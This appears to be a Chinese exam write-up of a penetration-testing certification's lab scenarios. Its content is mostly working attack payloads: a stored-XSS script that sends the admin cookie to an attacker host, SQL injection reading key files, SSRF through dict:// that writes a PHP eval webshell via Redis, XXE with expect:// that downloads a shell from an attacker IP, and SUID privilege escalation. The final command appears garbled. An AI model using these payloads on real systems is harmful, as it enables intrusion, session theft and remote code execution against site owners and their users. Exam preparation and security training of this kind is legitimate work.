pts 的考试从报名到考试不到半个月,刷题有基础的很好过,因为很多题如果培训了的话基本上都是原题,但是有些题培训机构也不知道,就比如这次考试,最后一道大题,最里面的服务是 nacos,而 nacos 没 exp,尝试了常用的弱口令,没进去就没做了,最有的题只有 2 个 key(20 分),如果保证前面的 key 都获取到了没问题就已经有 80 分了,只有有 70 分以上就及格。
讲一下我考试遇到的题
场景 1#
xss+sqli + 文件读取,比较简单
xss 需要攻击机器用 python 起 web 服务,然后插入 payload,这里也就是利用存储型 xss 漏洞写入 payload,获取管理员的 cookie。
<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>
获取到管理员 cookie
通过浏览器右键页面-检查
,选择应用
,找到存储-cookie
,替换成管理员的 cookie
sqli payload
http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#
或者 sqlmap 跑
http://IP:3603/admin/edit.php?id=11 (GET)
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2
任意文件读取
http://IP:3603/admin/setting.php?page=/tmp/key3
场景 2#
ssrf+redis getshell
ssrf:目录扫描 robots.txt,下载 backup.zip 压缩包,解压得到一个 txt 文件,会给一个 web 端口,题目给的搜索框输入http://localhost:1234,获取第一个 key
redis getshell:
写 webshell
dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save
写私钥
获取第二个 key,第三个 key 在任务计划中
场景 3#
一个 xxe 漏洞
通过 expect 写入 webshell,expect 可执行命令,通过在攻击机起 web 服务,curl 去请求
执行命令
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>
写入 shell
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>
提权
find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;